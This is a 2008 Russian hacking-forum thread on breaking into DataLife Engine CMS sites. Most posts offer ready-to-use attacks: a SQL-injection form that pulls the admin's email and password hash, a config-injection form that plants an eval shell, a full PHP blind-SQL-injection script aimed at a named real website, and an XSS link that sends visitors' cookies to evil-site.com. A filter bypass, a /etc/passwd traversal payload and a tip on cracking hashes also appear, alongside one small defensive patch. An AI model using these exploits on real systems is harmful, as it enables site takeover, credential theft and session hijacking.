ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 24.06.2008, 02:51
Аватар для #Wolf#
#Wolf#
Постоянный
Регистрация: 26.03.2008
Сообщений: 311
Провел на форуме:
3799424

Репутация: 479
По умолчанию

Цитата:
Сообщение от Ar3s  
Попробуй через редактирование шаблона сайта.
Там можно вставлять php код в текущий шаблон ИЛИ есть кнопочка [создать новый]. Через нее можно тупо создать шелл. А потом в своих настройках отображения сайта выбрать вновь созданную тему.
Вообщем как-то так. Экспериментируйте.
чтобы php код исполнялся в шаблонах (tpl)
надо:
В файле index.php, заменить
PHP код:
echo $tpl->result['main']; 
на
PHP код:
function incphp($str)
{
$a = explode('<?', $str);
echo $a[0];
for ($i=1; $i<sizeof($a); $i++)
{
$b = explode('
?>', $a[$i]);
eval($b[0]);
if (sizeof($b)>1) echo $b[1];
}
}
incphp($tpl->result['main']);
Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код.
(с) dle-news.ru
так что облом
---------------------------------------------
загружать шелл через добавление новости тоже не получается.
1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом.
2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором:
PHP код:
<FilesMatch ".*">
   
Order allow,deny
   Deny from all
</FilesMatch>

<
FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$">
   
Order deny,allow
   Allow from all
</FilesMatch
DLE 7.0

Последний раз редактировалось #Wolf#; 24.06.2008 в 02:56..
 
Ответить с цитированием

  #22  
Старый 01.08.2008, 22:33
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Datalife Engine XSRF пытались залатать......
Цитата:
http://dle-news.ru/bags/v70/301-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
обойти:
вместо javascript пишем Javascript
вместо document.cookie пишем Document.cookie

Последний раз редактировалось sabe; 01.08.2008 в 22:40..
 
Ответить с цитированием

Datalife ветки 6.x
  #23  
Старый 03.08.2008, 19:13
Аватар для Lawrence
Lawrence
Новичок
Регистрация: 03.08.2008
Сообщений: 1
Провел на форуме:
35701

Репутация: 5
По умолчанию Datalife ветки 6.x

Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера:
Код:
GET http://www.site.net/ HTTP/1.0
Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf
Host: www.site.net
Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше?

P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.
 
Ответить с цитированием

  #24  
Старый 05.08.2008, 03:55
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Недостаточная фильтрация входящих данных

/engine/modules/functions.php

Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedos...iltracija.html

Последний раз редактировалось sabe; 05.08.2008 в 04:06..
 
Ответить с цитированием

  #25  
Старый 18.08.2008, 19:57
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает):

В файле: http://site/admin.php
Код:
Cookie: dle_lastusername='><script>alert(/XSS/)</script>
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 18.08.2008 в 20:00..
 
Ответить с цитированием

  #26  
Старый 02.10.2008, 00:30
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию

Dle forum 2.1 (возможно, последующие версии, не проверял)
Эксплойт, получение логина, хеша, мыла админа:
Код:
<form action="http://evil.com/?do=forum&act=category" method="post"> 
 <input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_group=1 limit 1/*"/>  
<input type="submit" value="ok"/>  
</form>
Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым.
Dle <=6.7 (возможно, последующие версии, не проверял)
Эксплойт, дающий шелл (использовать залогиненным админом) :
Код:
<form action="http://evil.com/admin.php?mod=options&action=syscon" method="post">
<input name="save_con[test');@eval(trim(stripslashes($lala)));$config=array('test]" value="test"/>
 <input type=hidden name=action value=dosavesyscon>
<input type="submit" value="ok"/>
</form>
далее
Код HTML:
http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode();
Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг
ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов
Я кончил.

Последний раз редактировалось jokester; 08.06.2009 в 18:26..
 
Ответить с цитированием

  #27  
Старый 25.11.2008, 07:26
Аватар для sabe
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Недостаточная фильтрация входящих данных

/engine/classes/parse.class.php

Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedo...h-dannykh.html
 
Ответить с цитированием

  #28  
Старый 30.11.2008, 01:05
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию

Blind slq-inj в модуле галерея для dle, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
PHP код:
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != ""$galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset(
$_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != ""$galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if (
$galConfig['user_cats_limit']) $sear "(" PREFIX "_gal_cat.cat_status = '0' OR " PREFIX "_gal_cat.cat_status = '2') AND " PREFIX "_gal_pic.approve='1'"; else $sear "" PREFIX "_gal_cat.cat_status = '0' AND " PREFIX "_gal_pic.approve='1'";

$result $db->query("SELECT " PREFIX "_gal_pic.*, " PREFIX "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " PREFIX "_gal_pic LEFT JOIN " PREFIX "_gal_cat ON " PREFIX "_gal_pic.pic_cat_id=" PREFIX "_gal_cat.cat_id WHERE " PREFIX "_gal_cat.cat_alt_name='$category' AND $sear AND " PREFIX "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart$lim"); 
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
Код:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: www.simfilife.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
PHP код:
<?php
 set_time_limit
(0);
 
/*-----------------------------------------------------*/ 
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
//Black Toad Team
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
 
$good "MySQL Fatal Error";
 
$bad "robots";
 
$host"simfilife.net";//указываем сайт
 
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
 
$body "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
 
$index 1;
 
$result "";
 
$end ",(select 1 from dle_usergroups),0)&news_msort=DESC";
 
 function 
GetMiddle($min$max)
 {
  return 
floor($min+((($max+1)-($min-1))/2));
 }
 
 function 
post_sql($host,$path,$post_body)
 {
 global 
$end;
 
$post_body  .= $end;
 
$post_query  "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;

 
$sock fsockopen($host80$errno$errstr30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock$post_query);
 global 
$good;
 global 
$bad;
 
$answer '';
 while (!
feof($sock)) {
    
$answer .= fgets($sock1024);
    if (
strpos($answer,$good)) 
    {
     
fclose($sock);
     return 
true;
    }
    if (
strpos($answer,$bad))
    {
      
fclose($sock);
      return 
false;
    }
 }
 
fclose($sock);
 return 
false;
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host$path$body.$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host$path$body.$index.",1))>{$max}-1"))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host$path$body.$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

$bool true;
while (
$bool==true)
{
 if (
post_sql($host$path$body.$index.",1))>0")) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok true;
 }
 else 
 {
 echo (
"Символы кончились <br>");
  
$ok false;
  
$bool false;
  echo 
$result;
 }
 
$min 31;
 
$max 123;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host$path$body.$index.",1))<{$num}")) 
  {
   echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}

?>
__________________
Не занимаюсь коммерцией в любых ее проявлениях.

Последний раз редактировалось l-l00K; 30.11.2008 в 01:26..
 
Ответить с цитированием

  #29  
Старый 15.12.2008, 23:23
Аватар для as3kpwnz
as3kpwnz
Участник форума
Регистрация: 15.12.2008
Сообщений: 262
Провел на форуме:
418331

Репутация: 66
Отправить сообщение для as3kpwnz с помощью ICQ
По умолчанию

Цитата:
Сообщение от Solide Snake  
Код:
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
(c) Scipio
Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl

Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp"

Код:
if ($_REQUEST['vote_skin']) {
$qw=$_REQUEST['vote_skin'];
$qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw);
if($qqq){
    if (is_dir(ROOT_DIR.'/templates/'.$qw))
        {
            $config['skin'] = $qw;
        }
}
else {
die("Hacking attempt!");
}
 
Ответить с цитированием

  #30  
Старый 19.12.2008, 18:24
Аватар для Xe-Xe
Xe-Xe
Новичок
Регистрация: 04.12.2007
Сообщений: 2
Провел на форуме:
13790

Репутация: 6
По умолчанию

свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi
Код:
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E
готовый к работе
Код:
http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей WordPress ] ettee Сценарии/CMF/СMS 156 07.06.2010 05:01
Обзор уязвимостей в платных CMS ZAMUT Сценарии/CMF/СMS 56 15.04.2010 21:02
DataLife Engine v.6.5. Null Student :) ПО для Web разработчика 31 23.02.2008 15:36
[ Обзор уязвимостей miniBB ] -=lebed=- Форумы 3 12.01.2008 20:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ